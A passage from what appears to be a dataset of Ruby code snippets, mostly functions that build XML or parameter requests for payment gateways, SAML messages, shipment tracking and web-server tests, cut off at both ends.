@RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def build_xml( result )\n xml = ::Builder::XmlMarkup.new\n \n xml.ProcessResponse do \n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.Response result\n end\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def xml \n obj = {}\n expOb = Experiment.where('experimentName' => params[:experimentName]).to_a[0]\n obj['gameName'] = expOb['gameName']\n obj['sequences'] = expOb['sequences']\n obj['experimentName'] = expOb['experimentName']\n render :xml => \"<hash>\"+create_xml(obj, '')+\"</hash>\\n\"\n end", "def create_refund_request_xml(merchantCode, orderCode, currencyCode, amount)\n xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n xml << \"<!DOCTYPE paymentService PUBLIC '-//WorldPay/DTD WorldPay PaymentService v1/EN' 'http://dtd.worldpay.com/paymentService_v1.dtd'>\\n\"\n xml << \"<paymentService version=\\\"1.4\\\" merchantCode=\\\"\" + merchantCode + \"\\\">\\n\"\n xml << \"<modify>\\n\"\n xml << \"<orderModification orderCode=\\\"\" + orderCode + \"\\\">\\n\"\n xml << \"<refund>\\n\"\n xml << \"<amount value=\\\"\"+ amount.to_s + \"\\\" currencyCode=\\\"\" + currencyCode + \"\\\" exponent=\\\"2\\\"/>\"\n xml << \"</refund>\\n\"\n xml << \"</orderModification>\\n\"\n xml << \"</modify>\\n\"\n xml << \"</paymentService>\\n\"\n xml\n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackRequest(:xmlns => \"http://fedex.com/ws/track/v5\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n # add_request_timestamp(xml)\n add_track_request(xml)\n }\n end\n builder.doc.root.to_xml\n end", "def undoXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Undo('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Undo\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays','i:nil' => \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil' => \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.TransactionId params[:TransactionId] \n }\n end.to_xml \n rescue Exception => ex\n return \"transaction id not set in xml for undoXML!\"\n end \n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml()\n \t el = REXML::Element.new('mp')\n \t el.add_attribute(\"name\", \"#{@mdef}\")\n \t if @opts.key?(:interval)\n \t el.add_attribute(\"interval\", \"#{@opts[:interval]}\")\n elsif @opts.key?(:samples)\n \t el.add_attribute(\"samples\", \"#{@opts[:samples]}\")\n end\n \t if @filters.size > 0\n @filters.each { |f|\n el.add_element(f.to_xml)\n \t }\n \t end\n \t return el\n \tend", "def preservation_xml\n descriptive_metadata = metadata_source.find_by(source_type: 'descriptive').user_defined_mappings\n structural_metadata = metadata_source.find_by(source_type: 'structural').user_defined_mappings\n\n Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|\n xml.root {\n xml.record {\n xml.uuid { xml.text repo.unique_identifier }\n\n descriptive_metadata.each do |field, values|\n values.each { |value| xml.send(field + '_', value) }\n end\n\n xml.pages {\n structural_metadata['sequence'].map do |asset|\n xml.page {\n asset.map do |field, value|\n Array.wrap(value).each { |v| xml.send(field + '_', v) }\n end\n }\n end\n }\n }\n }\n }.to_xml\n end", "def capture(params)\n request(Resources::RESOURCE_CAPTURE, HTTP_METHOD_POST, params)\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:AssertionIDRequest') {\n assertion_id_refs.each { |assertion_id_ref| xml << assertion_id_ref.to_xml }\n }\n end", "def xml\n @xml ||= begin\n builder = ::Builder::XmlMarkup.new(:indent => 4)\n\n authed_xml_as_string(builder) do\n builder.GetReceiptInfoCall do\n builder.ReceiptFilter do\n builder.ReceiptId(id)\n end\n end\n end\n end\n end", "def to_params\n params = self.to_hash.merge(\n 'Action' => action_name,\n 'AWSAccessKeyId' => AmazonFlexPay.access_key,\n 'Version' => AmazonFlexPay::API_VERSION,\n 'Timestamp' => format_value(Time.now)\n )\n\n params['SignatureVersion'] = 2\n params['SignatureMethod'] = 'HmacSHA256'\n params['Signature'] = AmazonFlexPay.signature(AmazonFlexPay.api_endpoint, params)\n\n params\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\treturn \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\tend", "def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.TrackShipment do \n add_credentials(xml)\n xml.Shipment do \n xml.TrackingNumber @tracking_number\n end\n end\n end\n builder.doc.root.to_xml\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def make_url(params) #:nodoc:\n params[:appid] = @appid\n params[:output] = 'xml'\n\n super params\n end", "def to_xml\n\t\t\t\"<#{@name} #{attributes_string} />\"\n\t\tend", "def get_payment_detail(attributes = {})\n ::Nokogiri::XML::Builder.new(:encoding => \"utf-8\") do |xml|\n xml.send(\"soapenv:Envelope\", \"xmlns:soapenv\" => \"http://schemas.xmlsoap.org/soap/envelope/\", \"xmlns:v1\" => \"http://gpe.cz/pay/pay-ws/proc/v1\", \"xmlns:type\" => \"http://gpe.cz/pay/pay-ws/proc/v1/type\") {\n xml.send(\"soapenv:Header\")\n xml.send(\"soapenv:Body\") {\n xml.send(\"v1:getPaymentDetail\") {\n xml.send(\"v1:paymentDetailRequest\") {\n xml.send(\"type:messageId\", attributes[:message_id])\n xml.send(\"type:provider\", \"0100\")\n xml.send(\"type:merchantNumber\", attributes[:merchant_number])\n xml.send(\"type:paymentNumber\", attributes[:order_number])\n xml.send(\"type:signature\", attributes[:digest])\n }\n }\n }\n }\n end.to_xml\n end", "def build_xml(xml)\n check_configuration\n xml.DistributionConfig('xmlns' => \"http://cloudfront.amazonaws.com/doc/#{Cloudfront::API_VERSION}/\") {\n xml.CallerReference @caller_reference\n @aliases.build_xml(xml)\n xml.DefaultRootObject @default_root_object\n @origins_container.build_xml(xml)\n @default_cache_behavior.build_xml(xml)\n @behaviors.build_xml(xml)\n xml.Comment @comment\n @logging.build_xml(xml)\n xml.PriceClass @price_class\n xml.Enabled @enabled\n }\n end", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def make_xml_request( opts={} )\n\t\topts = TEST_XML_REQUEST_OPTS.merge( opts )\n\t\theaders = normalize_headers( opts, TEST_XML_HEADERS )\n\t\theaders.delete( 'URI' ) # XML requests don't have one\n\n\t\tMongrel2.log.debug \"XML request, headers = %p, opts = %p\" % [ headers, opts ]\n\n\t\theaderstring = TNetstring.dump( Yajl::Encoder.encode(headers) )\n\t\tbodystring = TNetstring.dump( opts[:body] || \"#{TEST_XML_PATH} />\" )\n\n\t\t# UUID ID PATH SIZE:HEADERS,SIZE:BODY,\n\t\tdata = \"%s %d %s %s%s\" % [\n\t\t\topts[:uuid],\n\t\t\topts[:id],\n\t\t\topts[:path],\n\t\t\theaderstring,\n\t\t\tbodystring,\n\t\t]\n\t\treturn data.encode( 'binary' )\n\tend", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end", "def queryTransactionsDetailJSON(params)\n begin\n { \n :TransactionDetailFormat => 'CWSTransaction',\n :PagingParameters => { \n :Page => 0, \n :PageSize => 10\n },\n :QueryTransactionsParameters => { \n :Amounts => nil,\n :ApprovalCodes => nil,\n :BatchIds => batch_ids(params),\n :CaptureDateRange =>nil,\n :CaptureStates => nil,\n :TransactionIds => mul_trd(params),\n :MerchantProfileIds => nil,\n :CardTypes => nil,\n :IsAcknowledged=> \"false\",\n :OrderNumbers => nil,\n :QueryType => \"OR\",\n :ServiceIds => nil,\n :ServiceKeys => nil,\n :TransactionClassTypePairs=> nil,\n :TransactionDateRange=> transaction_date_range(params),\n :TransactionStates => nil,\n },\n :IncludeRelated => 'false' \n }.to_json\n rescue Exception => ex\n return \"Some value not set in querytransactiondetail, batchid, transactionid or transactiondates!\"\n end\n end", "def get_transaction_report(params = {})\r\n @PARAM_HASH[\"QUERY_BY_SETTLEMENT\"] = '0'\r\n @PARAM_HASH[\"REPORT_START_DATE\"] = params[:report_start_date]\r\n @PARAM_HASH[\"REPORT_END_DATE\"] = params[:report_end_date]\r\n @PARAM_HASH[\"QUERY_BY_HIERARCHY\"] = params[:query_by_hierarchy]\r\n\t@PARAM_HASH[\"BACKEND_ID\"] = params[:backend_id] if params[:backend_id]\r\n\t@PARAM_HASH[\"ORIGIN\"] = params[:origin] if params[:origin]\r\n @PARAM_HASH[\"DO_NOT_ESCAPE\"] = params[:do_not_escape] || ''\r\n @PARAM_HASH[\"EXCLUDE_ERRORS\"] = params[:exclude_errors] || ''\r\n @api = \"bpdailyreport2\"\r\n end", "def to_xml(opts={})\n { :name => self.controller_name,\n :parameters => self.queryable_params,\n :identifier => self.xml_identifier\n }.to_xml(opts.merge(:root => \"resource\"))\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def build_xml(target, type, value)\n <<-EOF.gsub(/^ {8}/, '')\n <?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\n <entry\n xml:base=\"/p/p.svc/\"\n xmlns:d=\"http://schemas.microsoft.com/ado/2007/08/dataservices\"\n 